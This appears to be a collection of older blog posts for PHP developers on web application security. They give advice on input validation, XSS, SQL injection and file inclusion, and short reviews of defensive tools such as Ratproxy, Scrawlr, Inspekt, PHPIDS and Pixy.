VT’s Tech Blog

When I talk to developers about security in web development, I usually get the answer that the security is taken care by the systems team by securing the server and by using the https protocol. In reality that is just the tip of the iceberg on security. There’s much more you should do as a developer to incorporate security into your applications.

First the myth that using https secures your website – Using the https protocol only secures the communication between the browser and the server. What if the user himself is trying to hack your application? It just secures his session and doesn’t provide security for your website or application at all.

Another assumption I’ve come across is using the form action post is more secure than get. Posted data only seems secure since the data is not visible in the url. If anyone on the network is using a packet sniffer, the post data is still visible if data is transferred through http. Here is where using https helps.

Validate your form data on the server even if you have a super cool looking javascript validation on the browser. Clever users are known to disable javascript on the browser to get around your brilliant client side validation. Which means that if javascript is gone, all your form validation on the browser goes kaput.

On the server-side you have to be strict with your inputs via $_GET and $_POST even if you receive data through the https protocol. Use a good input filter library to clean your input data. Go to the extent of typecasting the inputs to the data-type to what you expect it to be. Using raw inputs to print data on screen or write to database is asking for trouble. This is how cross-site scripting and SQL injection creep into your applications.

I’ve seen really insecure applications take a file name from a query string in the url and go ahead and print the contents on screen. It just makes life easy for the cracker by allowing him to enter the path to a system file and mine the data to get into the server. Don’t ever use public data to craft your file include logic in the code, that’s easily exploitable!

An insecure practice which I’ve noticed is programmers use remote includes into the application, to the extent of having html snippets from other sites in their application. This allows users to inject malicious code from their own servers in your application. Imagine what they can do with this kind of power. Don’t allow users to a remote include code from external server urls whether it’s innocent looking HTML or otherwise.

This is not a comprehensive article on security but a quick one to cover some common issues developers have on web application security. If you need more specifics details, let me know by commenting on this post.

After HP & Microsoft’s security tool,  Google’s gotten onto distribuing a Security Audit tool. Here’s Ratproxy which is a passive web security audit tool based on the observation of existing, user-initiated traffic in complex web 2.0 environments.

Detects and prioritizes broad classes of security problems, such as dynamic cross-site trust model considerations, script inclusion issues, content serving problems, insufficient XSRF and XSS defenses, and much more.

Some of the key features ( from Ratproxy’s documentation) :

• No risk of disruptions. In the default operating mode, tool does not generate a high volume of attack-simulating traffic, and as such may be safely employed against production systems at will, for all types of ad hoc, post-release audits. Active scanners may trigger DoS conditions or persistent XSSes, and hence are poorly suited for live platforms.

• Low effort, high yield. Compared to active scanners or fully manual proxy-based testing, ratproxy assessments take very little time or bandwidth to run, and proceed in an intuitive, distraction-free manner – yet provide a good insight into the inner workings of a product, and the potential security vulnerabilities therein. They also afford a consistent and predictable coverage of user-accessible features.

• Preserved control flow of human interaction. By silently following the browser, the coverage in locations protected by nonces, during other operations valid only under certain circumstances, or during dynamic events such as cross-domain Referer data disclosure, is greatly enhanced. Brute-force crawlers and fuzzers usually have no way to explore these areas in a reliable manner.

• WYSIWYG data on script behavior. Javascript interfaces and event handlers are explored precisely to a degree they are used in the browser, with no need for complex guesswork or simulations. Active scanners often have a significant difficulty exploring JSON responses, XMLHttpRequest() behavior, UI-triggered event data flow, and the like.

• Easy process integration. The proxy can be transparently integrated into an existing manual security testing or interface QA processes without introducing a significant setup or operator training overhead.

Ratproxy is currently believed to support Linux, FreeBSD, MacOS X, and Windows (Cygwin) environments.

Links:

Ratproxy @ Google Code
RatProxy Documentation

Related articles by Zemanta

• ratproxy: Rat out those security issues in your Web app
• Google RatProxy looks for cross-site flaws
• Ratproxy: Open Source Site Security by Google
• Google gives away free Web app security scanner

Scrawlr is short for SQL Injector and Crawler, a tool developed by the HP Web Security Research Group in coordination with the Microsoft Security Response Center in response to the widespread SQL injection attacks on the web.

“Scrawlr will crawl a website while simultaneously analyzing the parameters of each individual web page for SQL Injection vulnerabilities. Scrawlr is lightning fast and uses our intelligent engine technology to dynamically craft SQL Injection attacks on the fly. It can even provide proof positive results by displaying the type of backend database in use and a list of available table names. There is no denying you have SQL Injection when I can show you table names!”

Key Features of Scrawlr include:

• Identify Verbose SQL Injection vulnerabilities in URL parameters
• Can be configured to use a Proxy to access the web site
• Will identify the type of SQL server in use
• Will extract table names (verbose only) to guarantee no false positives

Scrawlr which is a free tool has a few limitations which are it’s crawl only upto 1500 pages, doesn’t support Blind SQL injection and will not test for Post parameters for SQL injection. Overall even with these limitations, it’s still a useful tool to check your sites to see if you’re safe from SQL injections.

Links:
Download Scrawlr
Scrawlr Forum

via: communities.hp.com

Google Doctype is an open encyclopedia and reference library. Written by web developers, for web developers. It includes articles on web security, JavaScript DOM manipulation, CSS tips and tricks, and more. The reference section includes a growing library of test cases for checking cross-browser and cross-platform compatibility.

This site’s currently got some good HOWTOs on Web security, DOM manipulation, CSS and styles and more. A worthwhile place to check if you’re looking at some quick reference and help.

Link: Google Doctype

Inspekt is a PHP library that makes it easier to write secure web applications, which works on PHP 4 and 5 and has no external dependencies.

Inspekt acts as a sort of ‘firewall’ API between user input and the rest of the application. It takes PHP superglobal arrays, encapsulates their data in an “cage” object, and destroys the original superglobal. Data can then be retrieved from the input data object using a variety of accessor methods that apply filtering, or the data can be checked against validation methods. Raw data can only be accessed via a ‘getRaw()’ method, forcing the developer to show clear intent.

Inspekt can also be used on arbitrary arrays, and provides static filtering and validation methods.

Project Page: inspekt – Google Code
Downloads Page : http://code.google.com/p/inspekt/downloads/list

If you’re looking at deploying a secure production server for PHP, then you’ve got to check out this tutorial. The tutorial outlines the following :

• System they’ll be using (operating system, functionality assumed, security assumptions)
• Preparing the software
• Installing PHP
• Chrooting the server
• Configuring PHP
• Protecting against CSS and SQL injection attacks

Link: Securing PHP – Creating a secure PHP production environment from Source Code
via: PHPDeveloper.org

If you want to detect and act on  XSS probes and attacks on your PHP web application without too much of coding, here’s a project which delivers. It’s called PHPIDS. It’s an IDS for your PHP application which scans your inputs (without sanitizing it) and checks for XSS attacks based on a rule set. You can get an impact analysis of the attack and act on them accordingly based on the severity.

PHPIDS adds a layer of security over your application without having to retrofit code all over the place. It’s also a useful tool to create reports on attacks without having to parse through all the server access log files.

The scanning rules  can be updated by replacing an xml file, pretty much like a virus definition update

Check their FAQ’s on how to integrate this with your application – it’s pretty simple. They’ve got a demo page where you can go test out the efficiency of the system.

PHPIDS (PHP-Intrusion Detection System) is a simple to use, well structured, fast and state-of-the-art security layer for your PHP based web application. The IDS neither strips, sanitizes nor filters any malicious input, it simply recognizes when an attacker tries to break your site and reacts in exactly the way you want it to.

Link: PHPIDS » Web Application Security 2.0 » Index

If you’re working on PHP 4.x, here’s a tool which checks if your codebase is succeptible to Cross site scripting or SQL injection.

Pixy is a Java program that performs automatic scans of PHP 4 source code, aimed at the detection of XSS and SQL injection vulnerabilities. Pixy takes a PHP program as input, and creates a report that lists possible vulnerable points in the program, together with additional information for understanding the vulnerability.

Pixy still doesn’t support PHP 5 !

Pixy: XSS and SQLI Scanner for PHP

Stefan shows how shared hosting environments could lead to security threat to your site, allowing another site on the same host to hijack cookies from your site.

Within a shared hosting environment it is sometimes quite often possible to bind yourself to some high TCP port and accept incoming connections. Sometimes this is possible because you also get a shell account on the box and sometimes because dangerous PHP functions like stream_socket_server() are not disabled in the configuration. Unfortunately the ability to bind yourself to a port and receive connections is a threat to webapplications installed on different virtual hosts on the same IP, even if other security measures in place, like tight filesystem permissions or executing PHP script with the permission of the owner.

Link: Cross Virtual Host Cookie Theft – PHP Security Blog

Here’s a cool way to scan a site visitor’s network using just HTML and the user’s browser.
The concept of doing network scanning via JavaScript is hardly new and is quite easy for anyone with even cursory knowledge of JavaScript. However, the assumption was that as long as you browse the web with JavaScript disabled you are safe from hostile sites from scanning your network. Alas, this was not to be, in a very interesting post Jeremiah Grossman shows how can this be done with plain HTML using no JavaScript what so ever.

Link: Network Scanning with HTTP without JavaScript – iBlog – Ilia Alshanetsky